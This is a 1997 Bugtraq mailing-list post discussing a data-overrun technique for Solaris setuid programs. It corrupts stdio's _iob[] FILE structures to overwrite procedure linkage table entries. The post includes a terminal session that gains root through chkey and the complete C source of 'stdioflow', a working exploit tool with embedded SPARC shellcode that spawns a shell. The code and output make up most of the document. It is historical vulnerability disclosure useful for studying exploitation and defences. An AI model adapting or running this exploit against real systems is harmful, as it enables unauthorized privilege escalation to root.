Bugtraq mailing list archives

Re: Finally, most of an exploit for Solaris 2.5.1's ps.


From: adam () MATH TAU AC IL (Adam Morrison)
Date: Mon, 19 May 1997 22:34:58 +0300


Uh, the joys of not keeping up with my mail.  I've already seen your full
exploit, but I thought you might still find some interest in this.

I finally managed to construct most of an exploit for Solaris'
/usr/bin/ps.  This exploit does *not* use the getopt()/argv[0] hole.
Rather, it uses the buffer overrun I isolated a couple weeks ago.  I've
sent a copy of this to Casper Dik over at Sun as well; hopefully he's
convinced now that a proper patch for Solaris 2.5.1 is a good idea.

The latest version of Sun patch 103612 has fixes for getopt() overrun, as
well as the ones in getpwnam_r() and getgrnam_r() and some others.

This partial exploit is unique in that it does *not* rely on an
executable stack.  Rather, it overwrites the buffer pointers in _iob[0]
through _iob[2], thus inducing stdio streams to do the dirty work.

It may not be as unique as you think; because of the way most source code
looks like, almost any program that uses stdio(3S) has iob[] after any
variables declared in the program.  Thus, this is really the cookie cutter
data buffer overrun -- it only takes more brains to use.  A classical
example of this hole is in chkey(1).

        10:47  [wumpus:~] % stdioflow
        usage: stdioflow [options] buf(name or @address) libaddr program args
        options: [-l library] [-f function] [-o offset] [-e env]
        10:47  [wumpus:~] % stdioflow -o 7 program_name 0xef640000 \
                /usr/bin/chkey %s -s woop
        Using library /usr/lib/libc.so at 0xef640000
        Using PLT at 0x8ef70
        Found _exithandle at 0x1be4
        Buffer at 0x24e88
        iob[] at 0x24f90
        Using absolute address 0xef6d0b4d
        Using 264 bytes
        # /usr/ucb/whoami
        root

The exploit source below succeeds in getting a non-suid copy of
/usr/bin/ps to write its usage message overtop of the "procedure
linkage table".  The next dynamic library call to an unlinked
procedure would initiate the exploit code itself.  (In this case,
it attempts to execute the ascii text of the usage message, which
isn't all that useful.)

You might experience problems with this approach; I don't remember the
exact difficulties I had, but essentially the dynamic loader faulted when
the first few entries of the PLT ``rug'' got pulled out from under it when
an stdio function overwrote them.

One drawback to this exploit is that it is *very* difficult to set the
"environ" pointer correctly; it took me awhile to get that correct.
I've commented the specific line which affects the environ pointer.

If you don't mess with environ from within your program (instead, do a
setenv from the shell and then run your exploit) and play with your
arguments nicely, its value should not change.

Perhaps some of you Solaris junkies out there can flesh out the missing
half to this exploit (the file "/tmp/foo" as currently referenced in the
exploit source).

This gettext() trick is really something I hadn't thought of.  I don't think
it should be too difficult.  I will add it to my program.

On a different level, I think this exploit is fairly unique in its
methodology; it points to the fact that overrunning static data can
actually be more dangerous than overrunning automatic data on the
stack, because setting the stack non-executable doesn't help you
anymore.  In this case, I hijacked the stdio file streams to do my
bidding.

Lest anyone say that this is a Solaris only problem, I note that the BSD
FILE structure contains function pointers, so exploiting a similar overrun
condition there would be trivial.


                                                adam?

/*
 * stdioflow -- exploit for data overrun conditions
 * adam () math tau ac il (Adam Morrison)
 *
 * This program causes programs which use stdio(3S) and have data buffer
 * overflow conditions to overwrite stdio's iob[] array of FILE structures
 * with malicious, buffered FILEs.  Thus it is possible to get stdio to
 * overwrite arbitrary places in memory; specifically, it overwrites a
 * specific procedure linkage table entry with SPARC assembly code to
 * execute a shell.
 *
 * Using this program involves several steps.
 *
 * First, find a code path which leads to the use of stdout or stderr after
 * the buffer has been overwritten.  The default case being
 *
 *      strcpy(buffer, argv[0]);
 *      / we gave it wrong arguments /
 *      fprintf(stderr, "usage: %s ...\n", buffer);
 *      exit(1);
 *
 * In this case you need to overwrite exit()'s PLT entry.
 *
 * Second, find out the address that the library that contains the PLT
 * you want to overwrite (in this case, it would be libc) gets mmapped()
 * to in the process' address space.  You need it to calculate the
 * absolute of the PLT entry.  (Doing this is left as an, uh, exercise
 * to the reader.)
 *
 * Finally, calculate the offset to take from the PLT entry -- you don't
 * want ``usage: '' in the table, but the instructions in ``%s''.  In this
 * case, it would be 7.
 *
 * Then run it.
 */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <libelf.h>

#include <sys/types.h>
#include <sys/link.h>

#define PLT_SYMBOL "_PROCEDURE_LINKAGE_TABLE_"

u_int shellcode[] = {
  0x821020ca,
  0xa61cc013,
  0x900cc013,
  0x920cc013,
  0xa604e001,
  0x91d02008,
  0x2d0bd89a,
  0xac15a16e,
  0x2f0bdcda,
  0x900b800e,
  0x9203a008,
  0x941a800a,
  0x9c03a010,
  0xec3bbff0,
  0xdc23bff8,
  0xc023bffc,
  0x8210203b,
  0x91d02008,
};
int shell_len = sizeof (shellcode) / sizeof (u_long);
u_long meow = 0x6d656f77;
char *prog;

void elferr(void);
u_long symval(char *, char *);
u_long plt_offset(char *, char *);

void
usage()
{
        fprintf(stderr, "usage: %s [options] buf(name or @address) libaddr program args\n", prog);
        fprintf(stderr, "options: [-l library] [-f function] [-o offset] [-e env]\n");
        exit(1);
}

main(int argc, char **argv)
{
        char *env = NULL;
        char *library = "/usr/lib/libc.so";
        char *function = "_exithandle";
        u_long off, uoff = 0;
        u_long libaddr, pltaddr, bufaddr, iobaddr;
        u_long pltent;
        char *prognam, *bufnam;
        int buflen;
        char *badbuf;
        u_long *bp;
        int c;
        extern char *optarg;
        extern int optind;
        char **arg0, **arg;

        prog = strrchr(argv[0], '/');
        if (prog)
          ++prog;
        else
          prog = argv[0];

        while ((c = getopt(argc, argv, "l:f:o:e:")) != EOF)
          switch (c) {
          case 'l':
            library = optarg;
            break;
          case 'f':
            function = optarg;
            break;
          case 'o':
            uoff = strtol(optarg, (char **)0, 0);
            break;
          case 'e':
            env = optarg;
            break;
          default:
            usage();
          }

        if (argc - optind < 3)
          usage();

        bufnam = argv[optind];

        /*
         * This is the address that the library in which `function'
         * lives gets mapped to in the child address space.  We could force
         * a non-privileged copy of `prognam' to dump core, and fish
         * out the memory mappings from the resulting core file; but this
         * is really something users should be able to do themselves.
         */
        libaddr = strtoul(argv[optind+1], (char **)0, 0);
        if (libaddr == 0) {
          fprintf(stderr, "%s: impossible library virtual address: %s\n",
                  prog, argv[optind+1]);
          exit(1);
        }
        printf("Using library %s at 0x%p\n", library, libaddr);

        prognam = argv[optind+2];

        arg0 = &argv[optind+3];

        /*
         * `pltaddr' is the offset at which the library's PLT will be
         * at from `libaddr'.
         */
        pltaddr = symval(library, PLT_SYMBOL);
        if (pltaddr == 0) {
          fprintf(stderr, "%s: could not find PLT offset from library\n",
                  prog);
          exit(1);
        }
        printf("Using PLT at 0x%p\n", pltaddr);

        /*
         * `off' is the offset from `pltaddr' in which the desired
         * function's PLT entry is.
         */
        off = plt_offset(library, function);
        if (off == 0) {
          fprintf(stderr, "%s: impossible offset from PLT returned\n", prog);
          exit(1);
        }
        printf("Found %s at 0x%p\n", function, off);

        /*
         * `bufaddr' is the name (or address) of the buffer we want to
         * overflow.  It's not a stack buffer, so finding it out is trivial.
         */
        if (bufnam[0] == '@')
          bufaddr = strtol(&bufnam[1], (char **)0, 0);
        else
          bufaddr = symval(prognam, bufnam);

        if (bufaddr == 0) {
          fprintf(stderr, "%s: illegal buffer address: %s\n", prog, prognam);
          exit(1);
        }
        printf("Buffer at 0x%p\n", bufaddr);

        /*
         * `iobaddr' is obviously the address of the stdio(3) array.
         */
        iobaddr = symval(prognam, "__iob");
        if (iobaddr == 0) {
          fprintf(stderr, "%s: could not find iob[] in %s\n", prog, prognam);
          exit(1);
        }
        printf("iob[] at 0x%p\n", iobaddr);

        /*
         * This is the absolute address of the PLT entry we want to
         * overwrite.
         */
        pltent = libaddr + pltaddr + off;

        buflen = iobaddr - bufaddr;
        if (buflen < shell_len) {
          fprintf(stderr, "%s: not enough space for shell code\n", prog);
          exit(1);
        }
        if (env) {
          buflen += strlen(env) + 5;
          if (buflen & 3) {
            fprintf(stderr, "%s: alignment problem\n", prog);
            exit(1);
          }
        }
        badbuf = (char *)malloc(buflen);
        if (badbuf == 0) {
          fprintf(stderr, "%s: out of memory\n", prog);
          exit(1);
        }

        if (env) {
          buflen -= (strlen(env) + 5);
          sprintf(badbuf, "%s=", env);

          bp = (u_long *)&badbuf[strlen(badbuf)];
        } else
          bp = (u_long *)badbuf;

        buflen /= sizeof (*bp);
        for (c = 0; c < shell_len; c++)
          *bp++ = shellcode[c];

        for (; c < buflen; c++)
          *bp++ = meow;

        /*
         * stdin -- whatever
         */
        *bp++ = -29;
        *bp++ = 0xef7d7310;
        *bp++ = 0xef7d7310 - 29;
        *bp++ = 0x0101ffff;

        /*
         * stdout
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0201ffff;

        /*
         * stderr
         */
        *bp++ = -29;
        *bp++ = pltent - uoff;
        *bp++ = pltent - 29;
        *bp++ = 0x0202ffff;

        *bp++ = 0;

        printf("Using absolute address 0x%p\n", pltent - uoff);

        /*
         * Almost ready to do the exec()
         */
        if (env)
          putenv(badbuf);
        else
          for (arg = arg0; arg && *arg; arg++) {
            if (strcmp(*arg, "%s") == 0)
              *arg = badbuf;
          }

        printf("Using %d bytes\n", buflen*4);

        if (execv(prognam, arg0) < 0) {
          perror("execv");
          exit(1);
        }

}

u_long
symval(char *lib, char *name)
{
        int fd;
        int i, nsym;
        u_long addr = 0;
        Elf32_Shdr *shdr;
        Elf *elf;
        Elf_Scn *scn = (Elf_Scn *)0;
        Elf32_Ehdr *ehdr;
        Elf_Data *dp;
        Elf32_Sym *symbol;
        char *np;

        fd = open(lib, O_RDONLY);
        if (fd < 0) {
          perror("open");
          exit(1);
        }

        /* Initializations, see elf(3E) */
        (void) elf_version(EV_CURRENT);
        elf = elf_begin(fd, ELF_C_READ, 0);
        if (elf == (Elf *)0)
          elferr();

        ehdr = elf32_getehdr(elf);
        if (ehdr == (Elf32_Ehdr*)0)
          elferr();

        /*
         * Loop through sections looking for the dynamic symbol table.
         */
        while ((scn = elf_nextscn(elf, scn))) {

          shdr = elf32_getshdr(scn);
          if (shdr == (Elf32_Shdr *)0)
            elferr();

          if (shdr->sh_type == SHT_DYNSYM)
              break;
        }

        if (scn == (Elf_Scn *)0) {
          fprintf(stderr, "%s: dynamic symbol table not found\n", prog);
          exit(1);
        }

        dp = elf_getdata(scn, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: .dynamic symbol table empty\n", prog);
          exit(1);
        }

        symbol = (Elf32_Sym *)dp->d_buf;
        nsym = dp->d_size / sizeof (*symbol);

        for (i = 0; i < nsym; i++) {
          np = elf_strptr(elf, shdr->sh_link, (size_t)
                          symbol[i].st_name);
          if (np && !strcmp(np, name))
            break;

        }

        if (i < nsym)
          addr = symbol[i].st_value;

        (void) elf_end(elf);
        (void) close(fd);

        return (addr);
}

u_long
plt_offset(char *lib, char *func)
{
        int fd;
        Elf *elf;
        Elf_Scn *scn = (Elf_Scn *)0;
        Elf_Data *dp;
        Elf32_Ehdr *ehdr;
        Elf32_Rela *relocp = (Elf32_Rela *)0;
        Elf32_Word pltsz = 0;
        Elf32_Shdr *shdr;
        Elf_Scn *symtab;
        Elf32_Sym *symbols;
        char *np;
        u_long offset = 0;
        u_long plt;

        fd = open(lib, O_RDONLY);
        if (fd < 0) {
          perror("open");
          exit(1);
        }

        /* Initializations, see elf(3E) */
        (void) elf_version(EV_CURRENT);
        elf = elf_begin(fd, ELF_C_READ, 0);
        if (elf == (Elf *)0)
          elferr();

        ehdr = elf32_getehdr(elf);
        if (ehdr == (Elf32_Ehdr *)0)
          elferr();

        /*
         * Loop through sections looking for the relocation entries
         * associated with the procedure linkage table.
         */
        while ((scn = elf_nextscn(elf, scn))) {

          shdr = elf32_getshdr(scn);
          if (shdr == (Elf32_Shdr *)0)
            elferr();

          if (shdr->sh_type == SHT_RELA) {
            np = elf_strptr(elf, ehdr->e_shstrndx, (size_t) shdr->sh_name);
            if (np && !strcmp(np, ".rela.plt"))
              break;
          }

        }

        if (scn == (Elf_Scn *)0) {
          fprintf(stderr, "%s: .rela.plt section not found\n", prog);
          exit(1);
        }

        dp = elf_getdata(scn, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: .rela.plt section empty\n", prog);
          exit(1);
        }

        /*
         * The .rela.plt section contains an array of relocation entries,
         * the first 4 are not used.
         */
        relocp = (Elf32_Rela *)dp->d_buf;
        pltsz = dp->d_size / sizeof (*relocp);

        relocp += 4;
        pltsz -= 4;

        /*
         * Find the symbol table associated with this section.
         */
        symtab = elf_getscn(elf, shdr->sh_link);
        if (symtab == (Elf_Scn *)0)
          elferr();

        shdr = elf32_getshdr(symtab);
        if (shdr == (Elf32_Shdr *)0)
          elferr();

        dp = elf_getdata(symtab, (Elf_Data *)0);
        if (dp == (Elf_Data *)0)
          elferr();

        if (dp->d_size == 0) {
          fprintf(stderr, "%s: dynamic symbol table empty\n", prog);
          exit(1);
        }

        symbols = (Elf32_Sym *)dp->d_buf;

        /*
         * Loop through the relocation list, looking for the desired
         * symbol.
         */
        while (pltsz-- > 0) {
          Elf32_Word ndx = ELF32_R_SYM(relocp->r_info);

          np = elf_strptr(elf, shdr->sh_link, (size_t)
                          symbols[ndx].st_name);
          if (np && !strcmp(np, func))
            break;

          relocp++;
        }

        if (relocp) {
          plt = symval(lib, PLT_SYMBOL);
          offset = relocp->r_offset - plt;
        }

        (void) elf_end(elf);
        (void) close(fd);

        return (offset);
}

void
elferr()
{
        fprintf(stderr, "%s: %s\n", prog, elf_errmsg(elf_errno()));

        exit(1);
}



Current thread: